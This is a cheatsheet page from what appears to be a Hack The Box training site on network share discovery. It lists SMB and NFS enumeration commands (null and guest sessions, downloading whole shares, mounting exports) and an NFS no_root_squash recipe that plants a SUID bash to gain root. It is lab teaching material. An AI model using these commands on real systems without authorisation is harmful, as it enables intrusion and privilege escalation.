Network Share Discovery
Listing SMB shares and NFS exports and checking what they contain.
How it shows up on Hack The Box
Always try a null and guest session. Download the whole share and look for passwords, scripts and backups; on NFS check for no_root_squash.
Techniques in our catalog that match this one (the number is their machines):
Machines to practice it
Sorted from easiest to hardest. The ▶ link takes you to the minute of the IppSec video where it is used.
Guides
- SMB and NFS enumeration: shares, null sessions and files full of passwords 4 min read Enumerate SMB and NFS with NetExec, smbclient, smbmap and enum4linux-ng, with or without credentials: null sessions, files with passwords and no_root_squash.
Commands
Taken from our cheatsheets and tool pages. Type your details and they are filled into every command.
Your values
Saved in this browser and applied to every cheatsheet.
Linux privilege escalation › Exploitation
Check the config
Target
cat /etc/exports
Create a SUID bash from your machine
Attacker
sudo mount -t nfs VICTIMA:/compartido /mnt/nfs
sudo cp /bin/bash /mnt/nfs/ && sudo chmod u+s /mnt/nfs/bashThen, on the target: /shared/bash -p. Copy a bash that matches the target version.
Nmap and service enumeration › Services
Shares without credentials
smbclient -L //10.10.11.20 -N
With netexec (null and guest session)
netexec smb 10.10.11.20 -u '' -p '' --shares
netexec smb 10.10.11.20 -u 'guest' -p '' --shares
With credentials
netexec smb 10.10.11.20 -u 'usuario' -p 'Password123!' --shares
Download a whole share
smbclient //10.10.11.20/share -N -c 'recurse ON; prompt OFF; mget *'
List exports
showmount -e 10.10.11.20
Mount
sudo mount -t nfs 10.10.11.20:/ruta /mnt/nfs -o nolockNo command matches.